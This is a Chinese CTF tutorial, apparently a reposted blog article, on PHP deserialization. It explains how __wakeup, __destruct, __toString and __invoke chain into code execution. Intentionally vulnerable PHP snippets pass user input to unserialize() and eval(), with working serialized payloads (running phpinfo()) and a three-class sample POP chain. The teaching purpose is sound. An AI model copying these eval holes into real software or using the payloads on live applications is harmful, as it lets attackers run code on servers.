ctf之php反序列化

admin 2024年10月7日13:31:44评论19 views字数 3913阅读13分2秒阅读模式

今年打了2场ctf赛,不得不说,PHP反序列化是真香。五六年前就是考点,现在这么多年过去了还是逢赛必出的题目,下面我就总结一下这个知识点吧。

一、基础知识

php反序列化漏洞的关键是魔术方法,下面我一一介绍下。

(1)__wakeup这个是在执行unserialize()后首先触发的函数(3)__destruct这个类的析构函数,看单词相信大家也能猜到它的作用,是在类实例销毁时候触发(3)__tostring这个是当类被作为字符串时触发(4)__invoke看单词也好理解,调用函数的方式调用一个对象时的回应方法

大部分时候只会用到这4个魔术方法,其他的魔术方法这里就不过多介绍了,理解这4个基本能应付php反序列化的题目了。

上面4个光靠一句话解释,很多人可能有些无法理解,我简单的用代码举个例子: wakeuptest.php

<?php class A{    public $name;    public function __wakeup(){      eval($this->name);    }}unserialize($_GET['hi']);

如果题目直接把eval函数写在__wakeup中,那简直就是送分,因为执行unserialize函数后默认会触发__wakeup. 将A的name属性赋值为要执行的php代码就行了,这里以phpinfo()为例。

wakeup_payload.php

<?phpclass A{  public $name="phpinfo();";}$a = new A;echo serialize($a);

我在本地演示一下,用的是nginx+php7.3的docker容器。

ctf之php反序列化

直接访问wakeuptest.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}

ctf之php反序列化

再继续演示下析构函数__destruct,直接把上面wakeup的demo code中__wakeup换成__destruct

destruct_test.php

<?php class A{    public $name;    public function __destruct(){      eval($this->name);    }}unserialize($_GET['hi']);

payload不变,还是执行phpinfo

destruct_test.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}

ctf之php反序列化

__wakeup和__destruct是反序列化函数默认会触发的,这一点很关键

下面在演示下__tostring

<?phpclass B{    public $age;    public function __tostring(){        eval($this->age);    }}unserialize($_GET['hi']);?>

tostring.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}

__tostring函数压根就没被触发

ctf之php反序列化

这种情况下就需要用wakeup或者destruct来触发了。可以这么理解,如果ctf比赛中没有__destruct或__wakeup魔术方法,那这题肯定不是考反序列化。

这里我用destruct和tostring为例吧

<?php class A{    public $name;    public function __destruct(){      echo $this->name;    }}class B{    public $age;    public function __tostring(){        eval($this->age);    }}unserialize($_GET['hi']);?>

再来回顾一下上面__tostring是怎么描述的?

当类被作为字符串时触发

这里A类的析构函数中echo $name;  ,name属性用echo打印出来,可以理解为这里name属性就是一个字符串。所以class B赋值给class A->name就ok了。直接看demo payload

<?phpclass A{  public $name;}class B{  public $age;}$a = new A;$b = new B;$b->age = "phpinfo();";$a->name = $b;echo serialize($a);

ctf之php反序列化

tostring_test.php?hi=O:1:%22A%22:1:{s:4:%22name%22;O:1:%22B%22:1:{s:3:%22age%22;s:10:%22phpinfo();%22;}}

ctf之php反序列化

在__destruct函数中不一定是echo $this->name; 比如sha($this->name)也可以,只要$this->name被当作字符串就行,然后将B实例赋给$this->name

最后一个是__invoke,回头再看下解释:调用函数的方式调用一个对象时的回应方法。直接看demo吧

class C{    public $sex;    public function __invoke(){        eval($this->sex);    }}

当class B对象作为函数时,会触发__invoke函数。这么解释很容易理解吧

还是用destruct作为pop链入口

<?php class A{    public $name;    public function __destruct(){      $hello = $this->name;      $hello();    }}class C{    public $sex;    public function __invoke(){        eval($this->sex);    }}unserialize($_GET['hi']);?>

对应的payload

<?phpclass A{  public $name;}class C{  public $sex="phpinfo();";  }$a = new A;$c = new C;$a->name=$c;echo serialize($a);

ctf之php反序列化

发送请求

invoke_test.php?hi=O:1:"A":1:{s:4:"name";O:1:"C":1:{s:3:"sex";s:10:"phpinfo();";}}

ctf之php反序列化

二、真题

ctf比赛经常遇到3层以上的pop链,这里我拿一道destruct+tostring+invoke的pop链的题目作为案例

<?php class user{    public $name;    public function __destruct(){     echo $this->name;    }}class ctf{    public $name;    public function __tostring(){         $one = $this->name;         $one();    }}class getflag{    public $sex;    public function __invoke(){        eval($this->sex);    }}unserialize($_GET['hi']);?>

payload如下

<?php class user{    public $name;}class ctf{    public $name;}class getflag{    public $sex;}$a = new user;$b = new ctf;$c = new getflag;$c->sex="phpinfo();";$b->name = $c;$a->name = $b;echo serialize($a);?>

ctf之php反序列化

发起请求

http://localhost:8092/getflag_test.php?hi=O:4:"user":1:{s:4:"name";O:3:"ctf":1:{s:4:"name";O:7:"getflag":1:{s:3:"sex";s:10:"phpinfo();";}}}

ctf之php反序列化

三、总结

1. 在php反序列化题目中,__destruct或__wakeup必须要有一个,不然无法在unserialize()时触发

2. __tostring, __invoke的pop链经常出现,其他魔术方法依葫芦画瓢比如__get,__call

其实php反序列化并没有什么难度,先找到利用点,一般是eval函数所在的位置,或者是file_content_get()函数用来读取flag文件。稍微加点难度上去,可能会加一层base64编码。

原文始发于微信公众号(信息安全笔记):ctf之php反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日13:31:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ctf之php反序列化https://cn-sec.com/archives/3236737.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息